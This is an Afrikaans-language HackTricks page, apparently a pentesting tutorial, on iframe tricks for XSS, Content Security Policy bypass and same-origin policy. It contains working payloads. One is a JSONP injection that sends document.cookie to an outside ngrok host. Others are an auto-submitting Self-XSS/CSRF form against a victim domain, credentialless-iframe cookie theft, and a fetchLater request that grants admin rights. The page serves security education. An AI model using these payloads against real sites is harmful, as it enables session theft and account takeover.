8.8 KiB

Iframes in XSS, CSP en SOP

{{#include ../../banners/hacktricks-training.md}}

Iframes in XSS

Daar is 3 maniere om die inhoud van 'n iframed bladsy aan te dui:

  • Deur src wat 'n URL aandui (die URL kan kruis oorsprong of dieselfde oorsprong wees)
  • Deur src wat die inhoud aandui met die data: protokol
  • Deur srcdoc wat die inhoud aandui

Toegang tot Ouers & Kind vars

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

As jy toegang tot die vorige html via 'n http-server (soos python3 -m http.server) verkry, sal jy opgemerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit verhinder nie). die ouer sal nie in staat wees om toegang te verkry tot die secret var binne enige iframe nie en slegs die iframes if2 & if3 (wat as dieselfde webwerf beskou word) kan toegang verkry tot die geheim in die oorspronklike venster.
Let op hoe if4 beskou word as 'n null oorsprong.

Iframes met CSP

Tip

Let asseblief op hoe in die volgende omseilings die antwoord op die iframed bladsy geen CSP-kop bevat wat JS-uitvoering verhinder nie.

Die self waarde van script-src sal nie die uitvoering van die JS-kode met die data: protokol of die srcdoc attribuut toelaat nie.
Ehowever, selfs die none waarde van die CSP sal die uitvoering van die iframes toelaat wat 'n URL (volledig of net die pad) in die src attribuut plaas.
Daarom is dit moontlik om die CSP van 'n bladsy te omseil met:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Let op hoe die vorige CSP slegs die uitvoering van die inline script toelaat.
Echter, slegs if1 en if2 skripte gaan uitgevoer word, maar slegs if1 sal toegang hê tot die ouer geheim.

Daarom is dit moontlik om 'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via iframe kan laai, selfs met script-src 'none'. Dit kan ook moontlik wees om 'n same-site JSONP-eindpunt te misbruik.

Jy kan dit toets met die volgende scenario waar 'n koekie gesteel word selfs met script-src 'none'. Voer net die toepassing uit en toegang dit met jou blaaskans:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Ander Payloads gevind in die natuur

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Die inhoud binne 'n iframe kan aan addisionele beperkings onderwerp word deur die gebruik van die sandbox attribuut. Standaard word hierdie attribuut nie toegepas nie, wat beteken dat daar geen beperkings in plek is nie.

Wanneer dit gebruik word, plaas die sandbox attribuut verskeie beperkings:

  • Die inhoud word behandel asof dit van 'n unieke bron afkomstig is.
  • Enige poging om vorms in te dien, word geblokkeer.
  • Uitvoering van skripte is verbode.
  • Toegang tot sekere API's is gedeaktiveer.
  • Dit verhoed dat skakels met ander blaai-kontekste interaksie het.
  • Gebruik van plugins via <embed>, <object>, <applet>, of soortgelyke etikette is verbode.
  • Navigasie van die inhoud se topvlak blaai-konteks deur die inhoud self word verhoed.
  • Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outomatiese fokus van vormkontroles, word geblokkeer.

Die attribuut se waarde kan leeg gelaat word (sandbox="") om al die bogenoemde beperkings toe te pas. Alternatiewelik kan dit gestel word op 'n spasie-geskeide lys van spesifieke waardes wat die iframe van sekere beperkings vrystel.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Credentialless iframes

Soos verduidelik in this article, die credentialless vlag in 'n iframe word gebruik om 'n bladsy binne 'n iframe te laai sonder om kredensiale in die versoek te stuur terwyl die dieselfde oorsprong beleid (SOP) van die gelaaide bladsy in die iframe gehandhaaf word.

Dit stel die iframe in staat om sensitiewe inligting van 'n ander iframe in dieselfde SOP wat in die ouerbladsy gelaai is, te bekom:

window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
  • Exploit voorbeeld: Self-XSS + CSRF

In hierdie aanval berei die aanvaller 'n kwaadwillige webblad voor met 2 iframes:

  • 'n iframe wat die slagoffer se bladsy laai met die credentialless vlag met 'n CSRF wat 'n XSS aktiveer (Stel jou 'n Self-XSS in die gebruiker se gebruikersnaam voor):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • 'n Ander iframe wat eintlik die gebruiker ingelogde het (sonder die credentialless vlag).

Dan, vanaf die XSS is dit moontlik om toegang te verkry tot die ander iframe aangesien hulle dieselfde SOP het en die koekie te steel deur byvoorbeeld uit te voer:

alert(window.top[1].document.cookie);

fetchLater Aanval

Soos aangedui in hierdie artikel laat die API fetchLater toe om 'n versoek te konfigureer wat later uitgevoer moet word (na 'n sekere tyd). Daarom kan dit misbruik word om byvoorbeeld 'n slagoffer binne 'n aanvaller se sessie in te log (met Self-XSS), 'n fetchLater versoek in te stel (om die wagwoord van die huidige gebruiker te verander byvoorbeeld) en uit te log uit die aanvaller se sessie. Dan log die slagoffer in sy eie sessie in en die fetchLater versoek sal uitgevoer word, wat die wagwoord van die slagoffer verander na die een wat deur die aanvaller gestel is.

Op hierdie manier, selfs al kan die slagoffer se URL nie in 'n iframe gelaai word nie (weens CSP of ander beperkings), kan die aanvaller steeds 'n versoek in die slagoffer se sessie uitvoer.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes in SOP

Kyk na die volgende bladsye:

{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md {{#endref}}

{{#include ../../banners/hacktricks-training.md}}